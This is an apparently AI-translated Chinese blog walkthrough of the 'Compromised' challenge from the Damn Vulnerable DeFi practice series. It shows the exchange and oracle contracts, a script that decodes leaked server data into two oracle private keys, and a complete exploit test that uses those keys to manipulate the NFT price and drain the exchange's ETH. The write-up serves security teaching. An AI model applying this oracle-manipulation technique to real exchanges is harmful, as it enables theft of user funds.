moon

moon

Build for builders on blockchain
github
twitter
首頁封存NFT

Defi黑客系列：該死的脆弱DeFi (七) - 被攻陷

403
AI 翻譯
這篇文章透過AI由簡體中文翻譯成繁體中文。查看原文
AI 生成的摘要
Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列，包括了闪电贷攻击、借贷池、链上预言机等。在开始之前需要具备 Solidity 和 JavaScript 相关的技能。每个题目需要保证单元测试能够通过。本题目是关于一个交易所合约和预言机合约的代码。交易所合约有购买和出售 NFT 的功能，而预言机合约负责获取和设置价格。现在需要窃取交易所中所有可用的 ETH。

該死的易受攻擊 DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接：https://www.damnvulnerabledefi.xyz/challenges/7.html

題目描述：

在瀏覽 DeFi 項目時，會從伺服器收到的一些奇怪的數據

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

現在有一家鏈上交易所正在出售名為 “DVNFT” 的收藏品，現在每件售價 999 ETH。價格來自於鏈上預言機，並且價格由 0xA73209FB1a42495120166736362A1DfA9F95A105、0xe92401A4d3af5E446d93D11EEc806b1462b39D15 和 0x81A5D6E50C214044bE44cA0CB057fe119097850c 提供。

現在你的帳戶有 0.1 ETH，你需要竊取交易所中所有可用的 ETH。

在開始之前，先簡單介紹下預言機 oracle 的概念。

預言機是獲取、驗證和傳輸存儲在鏈下的信息到運行在區塊鏈上的智能合約的應用程序。簡單來說，就是將現實生活中的數據，例如天氣信息、身份證信息、送貨地址等信息存儲到區塊鏈上。

在 web2 的世界中，數據可以通過 http 請求獲得。而在區塊鏈中，要想獲得現實世界中的數據，需先將其存儲在區塊鏈網絡中的智能合約中，而後其他智能合約通過調用存儲了數據的合約，即可以獲取數據。

接下來看下該題的智能合約的代碼

  • Exchange.sol 交易所合約
  • TrustfulOracle.sol 預言機合約
  • TrustfulOracleInitializer.sol 預言機合約初始化器

交易所合約#

Exchange.sol

contract Exchange is ReentrancyGuard {
    using Address for address payable;

    // NFT token
    DamnValuableNFT public immutable token;
    // 預言機合約
    TrustfulOracle public immutable oracle;

    event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
    event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

    constructor(address oracleAddress) payable {
        token = new DamnValuableNFT();
        oracle = TrustfulOracle(oracleAddress);
    }

    // 購買NFT
    function buyOne() external payable nonReentrant returns (uint256) {
        // 獲取支付的金額
        uint256 amountPaidInWei = msg.value;
        require(amountPaidInWei > 0, "Amount paid must be greater than zero");

        // 從預言機合約中獲取中位數價格
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());

        // 要求支付的金額不小於當前價格
        require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");

        // 鑄造一個 NFT 發送給 msg.sender
        uint256 tokenId = token.safeMint(msg.sender);

        // 找零, 將支付多餘的金額還給 msg.sender
        payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);

        emit TokenBought(msg.sender, tokenId, currentPriceInWei);

        return tokenId;
    }

    // 出售 NFT
    function sellOne(uint256 tokenId) external nonReentrant {
        // 確認調用者是持有人
        require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
        // 確保出售的NFT已經授權給該合約
        require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");

        // 從預言機合約中獲取中位數價格
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
        // 確保該合約的餘額不小於當前價格
        require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");

        // 將 NFT 從 msg.sender 轉移到該合約
        token.transferFrom(msg.sender, address(this), tokenId);

        // 銷毀 tokenId 對應的NFT
        token.burn(tokenId);

        // 從合約付款給 msg.sender
        payable(msg.sender).sendValue(currentPriceInWei);

        emit TokenSold(msg.sender, tokenId, currentPriceInWei);
    }

    receive() external payable {}
}

交易所合約就兩個功能

  • 購買 NFT
    • 從預言機合約中獲取價格
    • 鑄造 NFT 給購買人
    • 找零
  • 出售 NFT：將持有的 NFT 的出售給該合約
    • 從預言機合約中獲取價格
    • 將持有人持有的 NFT 轉給交易所合約
    • 銷毀持有人持有的 NFT
    • 交易所合約轉帳給持有人

預言機合約#

TrustfulOracle.sol

contract TrustfulOracle is AccessControlEnumerable {

    // 定義兩種角色
    // INITIALIZER_ROLE 可以設置初始價格，並且只能調用一次
    // 只有 TRUSTED_SOURCE_ROLE 可以設置價格
    bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
    bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

    // 記錄價格: 由哪個地址設置的哪個token價格是多少
    mapping(address => mapping (string => uint256)) private pricesBySource;

    modifier onlyTrustedSource() {
        require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
        _;
    }

    modifier onlyInitializer() {
        require(hasRole(INITIALIZER_ROLE, msg.sender));
        _;
    }

    event UpdatedPrice(
        address indexed source,
        string indexed symbol,
        uint256 oldPrice,
        uint256 newPrice
    );

    constructor(address[] memory sources, bool enableInitialization) {
        require(sources.length > 0);
        // 分別給 sources 賦予 TRUSTED_SOURCE_ROLE
        for(uint256 i = 0; i < sources.length; i++) {
            _setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
        }

        // 給 msg.sender 賦予 INITIALIZER_ROLE
        if (enableInitialization) {
            _setupRole(INITIALIZER_ROLE, msg.sender);
        }
    }

    // 設置初始價格, 只會調用一次，只有 INITIALIZER_ROLE 可以調用
    function setupInitialPrices(
        address[] memory sources,
        string[] memory symbols,
        uint256[] memory prices
    ) 
        public
        onlyInitializer
    {
        // Only allow one (symbol, price) per source
        require(sources.length == symbols.length && symbols.length == prices.length);

        // 設置價格
        for(uint256 i = 0; i < sources.length; i++) {
            _setPrice(sources[i], symbols[i], prices[i]);
        }
        // 取消 msg.sender 的 INITIALIZER_ROLE 權限
        renounceRole(INITIALIZER_ROLE, msg.sender);
    }

    // 設置 token 的價格，只有 TRUSTED_SOURCE_ROLE 角色可以設置價格
    function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
        _setPrice(msg.sender, symbol, newPrice);
    }

    // 獲取中位數價格
    function getMedianPrice(string calldata symbol) external view returns (uint256) {
        return _computeMedianPrice(symbol);
    }

    // 獲取某個 token 所有的價格列表
    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
        // 獲取 TRUSTED_SOURCE_ROLE 角色有多少
        uint256 numberOfSources = getNumberOfSources();
        // 定義定長數組 存儲價格列表
        uint256[] memory prices = new uint256[](numberOfSources);

        // 遍歷 TRUSTED_SOURCE_ROLE 角色下的所有地址
        for (uint256 i = 0; i < numberOfSources; i++) {
            // 獲取 source
            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
            // 獲取價格
            prices[i] = getPriceBySource(symbol, source);
        }
        return prices;
    }

    // 獲取價格
    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
        return pricesBySource[source][symbol];
    }

    // 獲取 TRUSTED_SOURCE_ROLE 角色有多少地址
    function getNumberOfSources() public view returns (uint256) {
        return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
    }

    // 設置價格 更新 pricesBySource 變量
    function _setPrice(address source, string memory symbol, uint256 newPrice) private {
        uint256 oldPrice = pricesBySource[source][symbol];
        pricesBySource[source][symbol] = newPrice;
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }

    // 計算中位數價格
    function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        // 獲取 TRUSTED_SOURCE_ROLE 角色有多少地址
        // 遍歷這些角色，獲取價格列表
        // 對價格排序
        uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

        // 計算中位數價格，如果是列表長度是偶數，則計算中間的兩數的平均值，奇數則取中間值
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }

    // 使用 選擇排序 對價格列表進行排序
    function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
        for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
            for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
                if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
                    uint256 tmp = arrayOfNumbers[i];
                    arrayOfNumbers[i] = arrayOfNumbers[j];
                    arrayOfNumbers[j] = tmp;
                }
            }
        }        
        return arrayOfNumbers;
    }
}

預言機合約雖然代碼量較多，但核心就是允許多個地址設置 token 的價格，並且提供了獲取價格中位數的功能。

從合約的源碼上看，似乎並沒有漏洞。但是，還記得從伺服器上接收到的奇怪數據嗎，這段數據有沒有可能是私鑰呢。

寫個腳本嘗試通過私鑰查看帳號地址

const ethers = require('ethers')

const getPK = key => {
  const keyStr = key.split(' ').join('')
  const base64 = Buffer.from(keyStr, 'hex').toString('utf-8')
  return Buffer.from(base64, 'base64').toString('utf-8')
}
const pk1 = getPK('4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35')

const pk2 = getPK('4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34')

// pk1: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
// pk2: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

const wallet1 = new ethers.Wallet(pk1)
const wallet2 = new ethers.Wallet(pk2)
console.log(wallet1.address)
// 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
console.log(wallet2.address)
// 0x81A5D6E50C214044bE44cA0CB057fe119097850c

得到的這兩個地址正好是提供價格的地址。所以攻擊步驟如下

  • 使用可修改價格的帳戶地址修改價格為 0
  • 使用攻擊者的帳戶購買 NFT
  • 修改價格為合約帳戶餘額
  • 使用攻擊者的帳戶賣出 NFT
  • 恢復初始價格

測試腳本如下

it('Exploit', async function () {
  const pk1 = '0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9'
  const pk2 = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'
  const wallet1 = new ethers.Wallet(pk1, ethers.provider)
  const wallet2 = new ethers.Wallet(pk2, ethers.provider)

  // 修改價格為0
  await this.oracle.connect(wallet1).postPrice('DVNFT', 0)
  await this.oracle.connect(wallet2).postPrice('DVNFT', 0)

  // 購買NFT
  await this.exchange.connect(attacker).buyOne({ value: 1 })
  const filter = this.exchange.filters.TokenBought(attacker.address)
  const event = (await this.exchange.queryFilter(filter)).pop()
  const tokenId = event.args[1]

  // 設置價格為合約餘額
  await this.oracle.connect(wallet1).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)
  await this.oracle.connect(wallet2).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)

  // 授權給交易所合約
  await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId)
  // 出售NFT
  await this.exchange.connect(attacker).sellOne(tokenId)

  // 設置初始價格
  await this.oracle.connect(wallet1).postPrice('DVNFT', INITIAL_NFT_PRICE)
  await this.oracle.connect(wallet2).postPrice('DVNFT', INITIAL_NFT_PRICE)
})

最後執行 yarn compromised 測試通過！

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。